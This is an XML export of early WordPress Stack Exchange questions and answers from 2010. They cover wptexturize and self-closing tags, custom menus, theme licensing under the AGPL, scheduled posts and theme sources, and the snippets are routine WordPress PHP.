<?xml version="1.0" encoding="utf-8"?>
<posts>
  <row Id="1" PostTypeId="1" AcceptedAnswerId="116" CreationDate="2010-08-11T19:32:47.210" Score="6" ViewCount="620" Body="&lt;p&gt;I want to use HTML5 in my WordPress theme, how do I turn off wptexturize?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind WP adding breaks, but I want them to be &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; and not &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;. How do I get control over how those breaks show up in my code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I only really care about the &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tag issue, I don't mind the typographic changes it makes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2:&lt;/strong&gt; Actually, I guess &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags matter too. Any self-closing standalone tags will matter here. So, &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; might be an issue as well. Not to mention such &lt;code&gt;wp_head()&lt;/code&gt; items as &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; and various &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditorDisplayName="" LastEditDate="2010-09-07T13:59:27.133" LastActivityDate="2010-09-07T13:59:27.133" Title="How do I turn off self-closing tags for markup in WordPress (for HTML5, or HTML4, for example)?" Tags="&lt;themes&gt;&lt;html5&gt;" AnswerCount="6" CommentCount="10" FavoriteCount="2" />
  <row Id="2" PostTypeId="1" CreationDate="2010-08-11T19:32:58.457" Score="1" ViewCount="915" Body="&lt;p&gt;Now with those custom post types and other ?bits of content? that&#xA;don?t necessarily need to be organized by chronologically by date, for&#xA;example: the client has a 100 T-Shirts as custom post type &quot;SHIRT&quot; and&#xA;he wants to set their appearance order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what approach you suggest taking for letting the editor/admin of the&#xA;site SORT their order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T19:38:27.850" LastActivityDate="2010-08-13T17:44:57.050" Title="visually sort ordering &quot;custom post types&quot; for end users" Tags="&lt;sort&gt;&lt;custom-post-types&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="3" PostTypeId="1" AcceptedAnswerId="8" CreationDate="2010-08-11T19:33:54.117" Score="4" ViewCount="158" Body="&lt;p&gt;How can I allow moderated anonymous contributors to post to my blog?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2011-06-14T04:05:22.897" Title="How can I allow moderated anonymous contributors to post to my blog?" Tags="&lt;plugins&gt;&lt;moderation&gt;" AnswerCount="3" />
  <row Id="4" PostTypeId="2" ParentId="3" CreationDate="2010-08-11T19:35:44.690" Score="0" ViewCount="" Body="&lt;p&gt;how are you moderating anonymous users in the first place? do you just want anonymous people to be able to contribute posts, and then approve them manually?&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-08-11T19:35:44.690" CommentCount="3" />
  <row Id="5" PostTypeId="1" AcceptedAnswerId="14" CreationDate="2010-08-11T19:36:21.303" Score="5" ViewCount="263" Body="&lt;p&gt;I was interested in the recent conversation about whether WordPress themes need to be licenced under the GPL or whether they can be closed source. The video can be reached from &lt;a href=&quot;http://ma.tt/2010/07/syn-thesis-1/&quot; rel=&quot;nofollow&quot;&gt;matts&lt;/a&gt; blog and my favourite discussion about it is &lt;a href=&quot;http://scripting.com/stories/2010/07/16/areWordpressThemesNecessar.html&quot; rel=&quot;nofollow&quot;&gt;Dave Winers blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - am I allowed to license my theme under the &lt;a href=&quot;http://en.wikipedia.org/wiki/Affero_General_Public_License&quot; rel=&quot;nofollow&quot;&gt;aGPL&lt;/a&gt;? or is this the same argument as if I wanted to use a closed source license?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="24" LastEditorDisplayName="" LastEditDate="2011-03-08T08:23:39.320" LastActivityDate="2011-03-08T08:23:39.320" Title="Am I allowed to license my Wordpress theme under the aGPL" Tags="&lt;themes&gt;&lt;licensing&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="6" PostTypeId="1" AcceptedAnswerId="11" CreationDate="2010-08-11T19:36:23.363" Score="3" ViewCount="272" Body="&lt;p&gt;I design &amp;amp; build a lot of bespoke Wordpress themes for clients, and before I just took the best parts out of the default Kubrick and made my own 'vanilla' theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new default, &lt;a href=&quot;http://2010dev.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;TwentyTen&lt;/a&gt; is way too complex for my needs, and is a bit kitchen sink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any lightweight WordPress 3 themes like these? &lt;a href=&quot;http://designceo.com/20-lightweight-minimalist-wordpress-themes&quot; rel=&quot;nofollow&quot;&gt;http://designceo.com/20-lightweight-minimalist-wordpress-themes&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T18:30:10.483" LastActivityDate="2010-08-24T18:30:10.483" Title="Looking for a lightweight theme using WP3 new tags and features (not 2010)" Tags="&lt;3.0&gt;&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="7" PostTypeId="2" ParentId="2" CreationDate="2010-08-11T19:37:18.477" Score="0" ViewCount="" Body="&lt;p&gt;I would look at the menu generator admin screens. Since a menu is just a custom post type, i'm sure some of that stuff can be used as inspiration.. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-08-11T19:37:18.477" CommentCount="1" />
  <row Id="8" PostTypeId="2" ParentId="3" CreationDate="2010-08-11T19:37:43.327" Score="3" ViewCount="" Body="&lt;p&gt;I would probably either use &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;GravityForms&lt;/a&gt; or &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;CForms&lt;/a&gt; plugins to allow that, both have a &quot;form to post&quot; feature that creates a new post and lets the admin moderate it before publishing. &lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-08-11T19:37:43.327" CommentCount="1" />
  <row Id="9" PostTypeId="1" AcceptedAnswerId="16" CreationDate="2010-08-11T19:38:42.827" Score="4" ViewCount="259" Body="&lt;p&gt;I've read a few tutorials on how to add the functionality of the custom menus added in version 3.0 to my theme but they all seem to differ somewhat, and I'm not sure whether they contain superfluous code. In addition I read that the code to register your theme as menu-compatible changed between the RC and the public release. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the simplest way of adding support for custom menus to my theme?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-11T20:01:04.863" Title="How do I add support to my theme for custom menus?" Tags="&lt;themes&gt;&lt;custom-menus&gt;" AnswerCount="3" />
  <row Id="10" PostTypeId="2" ParentId="1" CreationDate="2010-08-11T19:40:08.487" Score="4" ViewCount="" Body="&lt;p&gt;This can be disabled in e.g. the theme's &lt;strong&gt;function.php&lt;/strong&gt; file by taking advantage of the &lt;code&gt;remove_filter()&lt;/code&gt; function (http://codex.wordpress.org/Function_Reference/remove_filter)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter(&quot;the_content&quot;, &quot;wptexturize&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23" LastActivityDate="2010-08-11T19:40:08.487" CommentCount="4" />
  <row Id="11" PostTypeId="2" ParentId="6" CreationDate="2010-08-11T19:40:13.667" Score="6" ViewCount="" Body="&lt;p&gt;Just a suggestion and not necessarily the answer, but some of those are so basic I'm wondering if using the &lt;a href=&quot;http://starkerstheme.com/&quot; rel=&quot;nofollow&quot;&gt;Starkers theme&lt;/a&gt; from Elliot Jay Stocks and just adding a bit of style to it, could make the simple theme you've been looking for.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2010-08-11T19:40:13.667" CommentCount="3" />
  <row Id="12" PostTypeId="2" ParentId="1" CreationDate="2010-08-11T19:41:47.500" Score="1" ViewCount="" Body="&lt;p&gt;Disable WPtexturize plugin worked for me: &lt;a href=&quot;http://www.jasonlitka.com/2007/09/25/wordpress-plugin-disable-wptexturize/&quot; rel=&quot;nofollow&quot;&gt;Disable WPtexturize&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty straigtforward though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'wptexturize');&#xA;remove_filter('the_excerpt', 'wptexturize');&#xA;remove_filter('comment_text', 'wptexturize');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="40" LastActivityDate="2010-08-11T19:41:47.500" />
  <row Id="13" PostTypeId="1" AcceptedAnswerId="44" CreationDate="2010-08-11T19:43:40.163" Score="21" ViewCount="471" Body="&lt;p&gt;If I write a private plugin, is there any way to use the WordPress auto-update mechanism to update it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to encapsulate the functionality, but it's specific to my own 5 or so blogs, so it's not a good candidate for the public plugins resource. But I love the easy-updating mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-12-12T15:58:17.360" Title="Updates for a private plugin?" Tags="&lt;plugins&gt;&lt;updates&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="9" />
  <row Id="14" PostTypeId="2" ParentId="5" CreationDate="2010-08-11T19:45:50.767" Score="10" ViewCount="" Body="&lt;p&gt;Since WordPress is licensed as GPLv2, you can license any addition (i.e. theme) with a license that's &lt;em&gt;compatible&lt;/em&gt; with version 2 of the GPL.  Now here's the unfortunate part ... version 1 of the aGPL is not compatible with any version of the GPL.  Version 3, however, is compatible with GPLv3 ... but not GPLv2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer: no, you can't license a WordPress theme with aGPL because neither version of the aGPL is compatible with WordPress' license (GPLv2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_FSF_approved_software_licenses&quot; rel=&quot;nofollow&quot;&gt;Link to license compatibility chart for reference ...&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T19:45:50.767" CommentCount="5" />
  <row Id="15" PostTypeId="1" CreationDate="2010-08-11T19:45:52.810" Score="15" ViewCount="623" Body="&lt;p&gt;OpenID is a standard commonly used nowadays. I am trying to implement OpenID on my blog, but I have many difficulties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;a href=&quot;http://wordpress.org/extend/plugins/openid/&quot; rel=&quot;nofollow&quot;&gt;OpenID plugin&lt;/a&gt; but it seems to be incompatible with Wordpress 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried also &lt;a href=&quot;http://wordpress.org/extend/plugins/rpx/&quot; rel=&quot;nofollow&quot;&gt;Janrain plugin&lt;/a&gt; but the free version is too limited. I would like to integrate the login screen into my blog theme style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions how to proceed? Any other plugins? Or any PHP library that can be adapted to an easy integration with Wordpress?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="4405" LastEditorDisplayName="" LastEditDate="2011-04-03T14:39:03.907" LastActivityDate="2011-06-07T22:21:10.940" Title="How to implement a customizable free OpenID authentication?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;openid&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="9" />
  <row Id="16" PostTypeId="2" ParentId="9" CreationDate="2010-08-11T19:46:36.067" Score="7" ViewCount="" Body="&lt;p&gt;The easiest way is to use the &lt;code&gt;register_nav_menus&lt;/code&gt; function.This should be hooked into &lt;code&gt;'after_setup_theme'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_cool_menu_function(){&#xA;  register_nav_menus( array(&#xA;    'primary' =&amp;gt; 'Primary Navigation'&#xA;  ));&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'my_cool_menu_function' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your theme, simply call that menu's position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T19:46:36.067" />
  <row Id="17" PostTypeId="2" ParentId="9" CreationDate="2010-08-11T19:46:50.467" Score="0" ViewCount="" Body="&lt;p&gt;This how to include the custom navigation in its simplest form, I believe it picks up the navigation with not identifier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;access&quot;&amp;gt;&#xA;  &amp;lt;?php wp_nav_menu(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are also basic options that can be passed to the function, here's what I generally use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$navArgs=array(&#xA;    'menu_id' =&amp;gt; 'nav',    // target the nav menu&#xA;    'container' =&amp;gt; '',     // don't wrap the menu in &amp;lt;ul&amp;gt;&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2010-08-11T19:46:50.467" />
  <row Id="18" PostTypeId="1" AcceptedAnswerId="33" CreationDate="2010-08-11T19:48:32.833" Score="2" ViewCount="64" Body="&lt;p&gt;I would like to place content in a sidebar of my blog articles when they are viewed in the archive, but not show this content when the blog articles are shown on the main page of my site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2010-08-11T20:04:58.363" Title="How do I place content on archive pages but not on main page?" Tags="&lt;archive&gt;&lt;conditional-content&gt;" AnswerCount="3" />
  <row Id="19" PostTypeId="2" ParentId="18" CreationDate="2010-08-11T19:50:33.313" Score="3" ViewCount="" Body="&lt;p&gt;Wrap the content in a conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_archive() ){&#xA;  // Do stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on conditionals here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T19:50:33.313" />
  <row Id="20" PostTypeId="2" ParentId="18" CreationDate="2010-08-11T19:51:27.477" Score="4" ViewCount="" Body="&lt;p&gt;I would recommend setting up multiple sidebars.  Then you can call one sidebar for regular pages and a different sidebar for archive pages.  This gives you complete control over which elements appear in the sidebar on each type of page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quickonlinetips.com/archives/2007/11/how-to-create-multiple-dynamic-sidebars-for-wordpress-widgets/&quot; rel=&quot;nofollow&quot;&gt;Here's a good tutorial&lt;/a&gt; on creating multiple, widget-ized sidebars.  You can manage each in the Appearance &gt;&gt; Widgets section of the admin dashboard.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T19:51:27.477" />
  <row Id="21" PostTypeId="1" AcceptedAnswerId="89" CreationDate="2010-08-11T19:52:23.933" Score="9" ViewCount="756" Body="&lt;p&gt;In the Reading Settings, there is place to set the number of posts shown that affects the number of posts shown in all contexts. I'd like to show instead a certain number of posts on the homepage, and a different number of posts on pages like archive, search results, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/csv2y.png&quot; alt=&quot;reading-settings-blog-pages-show-at-most-per-page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I could do this by editing the theme files and changing the query parameters there, but I'd prefer to have easier access to a simple settings page. A long time ago, I came across a plugin that did this, but I can't locate it now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a plugin to do this, or even a function I could put in functions.php to accomplish the same thing?&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-07-06T23:30:27.697" LastActivityDate="2011-07-06T23:35:08.970" Title="Show a different number of posts per page depending on context (e.g., homepage, search, archive)" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;query&gt;&lt;archive&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="22" PostTypeId="2" ParentId="9" CreationDate="2010-08-11T19:54:53.647" Score="3" ViewCount="" Body="&lt;p&gt;Add this to &lt;strong&gt;&lt;code&gt;functions.php&lt;/code&gt;&lt;/strong&gt; of your theme. If you don't have one, create it.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_theme_support('menus');&#xA;function register_my_menus() {&#xA;    $args = array( &#xA;        'menu-1' =&amp;gt; __( 'Main Menu' )&#xA;    );&#xA;    register_nav_menus( $args );&#xA;}&#xA;add_action( 'init', 'register_my_menus' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this can go anywhere, I have it in &lt;strong&gt;&lt;code&gt;header.php&lt;/code&gt;&lt;/strong&gt; (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav_menu&lt;/code&gt;()&lt;/a&gt; docs):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'menu' =&amp;gt; 'Main Menu',&#xA;    'sort_column' =&amp;gt; 'menu_order',&#xA;    'container' =&amp;gt; 'div',&#xA;);&#xA;wp_nav_menu( $args ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-11T19:54:53.647" />
  <row Id="23" PostTypeId="1" CreationDate="2010-08-11T19:55:57.777" Score="3" ViewCount="448" Body="&lt;p&gt;Below is an example. 3 classes attached to each item, except current item, which has 6. Can I pare this down somehow?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;menu-global-nav&quot; class=&quot;sf-menu&quot;&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-63&quot; class=&quot;menu-item menu-item-type-post_type current-menu-item page_item page-item-5 current_page_item menu-item-63&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-30&quot; class=&quot;menu-item menu-item-type-post_type menu-item-30&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Services&amp;lt;/a&amp;gt;&#xA;   &amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;&#xA;   &amp;lt;li id=&quot;menu-item-39&quot; class=&quot;menu-item menu-item-type-post_type menu-item-39&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Case Studies&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;li id=&quot;menu-item-38&quot; class=&quot;menu-item menu-item-type-post_type menu-item-38&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Story Discovery&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-32&quot; class=&quot;menu-item menu-item-type-post_type menu-item-32&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Company&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-29&quot; class=&quot;menu-item menu-item-type-post_type menu-item-29&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Why Case Studies?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-28&quot; class=&quot;menu-item menu-item-type-post_type menu-item-28&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Case Study Showcase&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-27&quot; class=&quot;menu-item menu-item-type-post_type menu-item-27&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Resources&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-26&quot; class=&quot;menu-item menu-item-type-post_type menu-item-26&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Online Store&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;menu-item-25&quot; class=&quot;menu-item menu-item-type-post_type menu-item-25&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-12T08:57:21.217" LastActivityDate="2010-08-12T16:15:49.657" Title="Why does WordPress 3.Oh menu generate so many classes on list items? Can I manage this somehow?" Tags="&lt;3.0&gt;&lt;custom-menus&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="24" PostTypeId="1" AcceptedAnswerId="92" CreationDate="2010-08-11T19:58:17.007" Score="6" ViewCount="123" Body="&lt;p&gt;Sometimes it would be nice to be able to set a draft to be published when I'm not in front of the keyboard. Is this possible? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="62" LastEditorUserId="33" LastEditorDisplayName="" LastEditDate="2010-08-11T20:37:35.680" LastActivityDate="2010-08-11T21:13:40.343" Title="How can I time the publishing of a page or post?" Tags="&lt;draft&gt;&lt;publish&gt;&lt;scheduled-posts&gt;" AnswerCount="4" />
  <row Id="25" PostTypeId="2" ParentId="24" CreationDate="2010-08-11T19:59:28.300" Score="8" ViewCount="" Body="&lt;p&gt;Absolutely. Above the publish button, where it says 'publish immediately', click edit and select the date/time you'd like it to publish. The buttons will say 'Schedule' after you save the new date.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T19:59:28.300" CommentCount="1" />
  <row Id="26" PostTypeId="1" AcceptedAnswerId="30" CreationDate="2010-08-11T20:00:44.007" Score="3" ViewCount="265" Body="&lt;p&gt;I would like to hear plugins recommendations and tips for setting up a WP site for managing Real Estate properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T20:16:38.897" LastActivityDate="2010-12-07T23:57:32.843" Title="Real Estate website with Word Press" Tags="&lt;plugins&gt;" AnswerCount="6" FavoriteCount="3" />
  <row Id="28" PostTypeId="2" ParentId="24" CreationDate="2010-08-11T20:01:20.993" Score="0" ViewCount="" Body="&lt;p&gt;Next to the post box, there is an 'edit' link next to the text 'Publish &lt;strong&gt;Immediately&lt;/strong&gt;'.  Click that edit link, and you'll be able to schedule the post date/time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: oops. posted just after John.  Poor timing on my part1&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-11T20:01:20.993" />
  <row Id="29" PostTypeId="1" CreationDate="2010-08-11T20:02:27.683" Score="20" ViewCount="616" Body="&lt;p&gt;What sites offer WordPress themes to download? (Can be paid-for or free)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's community wiki so if we had one site per answer, and with a little additional detail on each site, what sort of themes they generally offer, whether their themes are paid-for or free etc.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-02-27T03:34:49.660" CommunityOwnedDate="2010-08-11T20:02:27.683" Title="Where can I download WordPress themes from?" Tags="&lt;themes&gt;" AnswerCount="16" CommentCount="1" FavoriteCount="12" />
  <row Id="30" PostTypeId="2" ParentId="26" CreationDate="2010-08-11T20:03:14.110" Score="2" ViewCount="" Body="&lt;p&gt;I highly recommend you check out the &lt;a href=&quot;http://www.studiopress.com/themes/agentpress&quot; rel=&quot;nofollow&quot;&gt;AgentPress&lt;/a&gt; child theme for the Genesis framework.  Seems to be built to do exactly what you're looking for. &lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-11T20:03:14.110" />
  <row Id="31" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T20:03:24.110" Score="18" ViewCount="" Body="&lt;h2&gt;WordPress Offical Repository&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/themes&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official repository hosted by WordPress.  Hosts several free themes and offers automatic updates.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T20:23:33.577" LastActivityDate="2010-08-11T20:23:33.577" CommunityOwnedDate="2010-08-11T20:03:24.110" />
  <row Id="33" PostTypeId="2" ParentId="18" CreationDate="2010-08-11T20:04:58.363" Score="1" ViewCount="" Body="&lt;p&gt;Another approach: edit your theme files. &lt;code&gt;archive.php&lt;/code&gt; can simply not call in the sidebar, and that will do what you're asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; for a view of what the individual files in a theme take care of.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-11T20:04:58.363" />
  <row Id="34" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T20:05:01.797" Score="3" ViewCount="" Body="&lt;h2&gt;Top WordPress Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://topwpthemes.com&quot; rel=&quot;nofollow&quot;&gt;http://topwpthemes.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the Top Wordpress Themes site.&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-04T20:29:27.547" LastActivityDate="2010-10-04T20:29:27.547" CommunityOwnedDate="2010-08-11T20:05:01.797" />
  <row Id="35" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T20:05:08.643" Score="5" ViewCount="" Body="&lt;h2&gt;Woo Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woothemes.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.woothemes.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Premium WordPress theme developers with a &lt;em&gt;lot&lt;/em&gt; of stellar options.  Just keep in mind that there's no one-off theme purchase option.  A single fee will buy you 3 themes ... or you can subscribe by the month for multiple themes over that.  Details are on &lt;a href=&quot;http://www.woothemes.com/pricing/&quot; rel=&quot;nofollow&quot;&gt;their pricing page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T20:21:58.900" LastActivityDate="2010-08-11T20:21:58.900" CommunityOwnedDate="2010-08-11T20:05:08.643" />
  <row Id="36" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T20:07:08.420" Score="7" ViewCount="" Body="&lt;h2&gt;ThemeForest&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeforest.net&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ThemeForest hosts several premium themes for WordPress, Joomla, and other CMS platforms.  They also sell a few standalone scripts.  Check out the &lt;a href=&quot;http://themeforest.net/category/wordpress&quot; rel=&quot;nofollow&quot;&gt;WordPress-specific category&lt;/a&gt; for just WP stuff, though.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T20:20:20.230" LastActivityDate="2010-08-11T20:20:20.230" CommunityOwnedDate="2010-08-11T20:07:08.420" />
  <row Id="37" PostTypeId="2" ParentId="21" CreationDate="2010-08-11T20:07:58.187" Score="1" ViewCount="" Body="&lt;p&gt;you could do a custom loop using query_posts, and specify the number of posts by is_home, is_archive, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just a simple if statement along with query_posts&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2010-08-11T20:07:58.187" CommentCount="1" />
